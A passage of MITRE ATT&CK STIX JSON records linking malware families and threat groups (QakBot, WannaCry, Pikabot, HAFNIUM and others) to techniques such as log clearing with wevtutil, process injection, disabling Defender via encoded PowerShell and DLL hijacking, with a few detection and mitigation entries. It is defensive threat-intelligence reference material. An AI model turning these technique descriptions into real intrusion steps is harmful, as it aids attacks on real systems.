‘autocheck autochk *’ to ‘autocheck autoche *’ in order to execute its payload during Windows startup.(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f491de8-7a45-413d-8e80-5c74b38e0fc1","created":"2023-02-10T19:01:14.339Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T19:01:14.339Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has the ability to download additional tools such as the RedLine Stealer to an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f4ff91e-a279-4777-b362-a57b0c4c098b","created":"2021-09-22T15:14:41.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:48:14.954Z","description":"(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f564288-8695-4cbc-a8b9-813cb67e0f1e","created":"2022-09-27T16:23:07.050Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:23:07.050Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors staged archived files in a temporary directory prior to exfiltration.(Citation: FoxIT Wocao December 2019) ","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f58682a-dc04-40f6-b224-42bab6ef6f67","type":"relationship","created":"2019-03-26T13:38:24.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"}],"modified":"2019-04-22T11:43:33.401Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device.(Citation: FireEye WannaCry 2017)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f5887ba-0ed2-4730-8a8c-99a6eb04b788","created":"2023-02-27T22:53:49.196Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-27T22:53:49.196Z","description":"Monitor and analyze network traffic for exfiltration attempts using text storage sites, i.e. POST requests to text storage sites. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f780c76-b5d5-43f9-b4f2-048106f00894","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bizeul 2014","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/"},{"source_name":"Villeneuve 2014","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"}],"modified":"2020-03-16T18:54:08.836Z","description":"(Citation: Bizeul 2014)(Citation: Villeneuve 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f7c9ed8-62c0-44fe-9eb1-68b3c226e598","created":"2023-02-21T18:38:30.820Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T18:38:30.820Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used `cmd.exe` to execute commands on the victim's machine.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f7f515f-25f9-4afb-becf-6247f4d6ecd2","type":"relationship","created":"2020-03-15T14:59:15.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T14:59:15.485Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f824a1b-70d5-4859-bd55-6b084f602a52","type":"relationship","created":"2021-02-10T18:20:51.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:20:51.667Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can search for files in directories.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f86f383-8536-4d0b-913a-458ac9d414b8","created":"2024-07-01T18:48:08.506Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:48:08.506Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can send AES encrypted C2 commands.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f898155-f810-4d2c-8e30-34723d845ade","type":"relationship","created":"2020-12-15T00:13:05.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T00:13:05.625Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has created scheduled tasks to persistently run VBScripts.(Citation: Unit42 Molerat Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-17T02:23:04.232Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) is launched through use of DLL search order hijacking to load a malicious dll.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f8ae509-18e1-4189-9aa4-2ae649e56a88","created":"2021-09-27T20:05:02.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Trend Micro Qakbot May 2020","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-13T21:15:50.762Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has gained execution through users opening malicious links.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3f921bea-899f-4b13-94b2-13f7a4813b8b","created":"2019-09-26T16:22:41.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET OceanLotus macOS April 2019","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/"},{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:49:55.961Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) checks a number of system parameters to see if it is being run on real hardware or in a virtual machine environment, such as `sysctl hw.model` and the kernel boot time.(Citation: Unit42 OceanLotus 2017)(Citation: ESET OceanLotus macOS April 2019)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f954be4-205c-4cec-92f9-36715e204a49","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2021-11-02T21:06:31.805Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f955b55-4a20-46f5-bf40-802382642b33","type":"relationship","created":"2020-01-29T17:32:31.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:47:00.316Z","description":"Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3f9b76e7-7902-44b1-b589-51f5657fff75","created":"2021-01-04T20:42:22.286Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) has used a Trojanized version of the Windows Notepad application for an additional backdoor persistence mechanism.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fa2041f-f2dc-4fa6-8e01-f0bb065f8ca0","type":"relationship","created":"2021-09-21T15:02:49.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wevtutil Microsoft Documentation","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil","description":"Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021."},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}],"modified":"2021-09-21T15:02:49.122Z","description":"[Wevtutil](https://attack.mitre.org/software/S0645) can be used to clear system and security event logs from the system.(Citation: Wevtutil Microsoft Documentation)(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fa24e29-2791-4b10-8014-bfa817c3a2f2","created":"2023-06-14T22:35:16.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:44:27.691Z","description":"When executing with non-root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) uses the the `shmget` API to create shared memory between other known [RotaJakiro](https://attack.mitre.org/software/S1078) processes. [RotaJakiro](https://attack.mitre.org/software/S1078) also uses the `execvp` API to help its dead process \"resurrect\".(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fa37a18-329e-4feb-8d68-d9dde842324a","created":"2024-07-16T18:05:59.859Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:05:59.859Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) can create a suspended instance of a legitimate process (e.g., ctfmon.exe), allocate memory within the suspended process corresponding to [Pikabot](https://attack.mitre.org/software/S1145)'s core module, then redirect execution flow via `SetContextThread` API so that when the thread resumes the [Pikabot](https://attack.mitre.org/software/S1145) core module is executed.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fa8155d-11ca-47de-902e-47e809d0ed64","type":"relationship","created":"2020-10-01T13:41:54.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:41:54.436Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3faaf140-71cd-4cc2-91c9-f0980ca72079","type":"relationship","created":"2021-01-13T21:16:05.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-03-26T11:49:13.159Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fabf752-3732-4958-9b2c-e9a2e1ebbd0f","created":"2024-09-25T18:55:20.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:02:12.251Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used Base64-encoded PowerShell scripts to disable Microsoft Defender.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3fadfbe5-6ed1-4d6d-a5ed-a355506431ba","created":"2022-06-14T15:08:14.433Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can download files to the compromised host.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-14T15:08:14.433Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3faf013a-e1c4-494a-b2a1-6e9abef908b9","type":"relationship","created":"2022-02-01T14:23:04.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 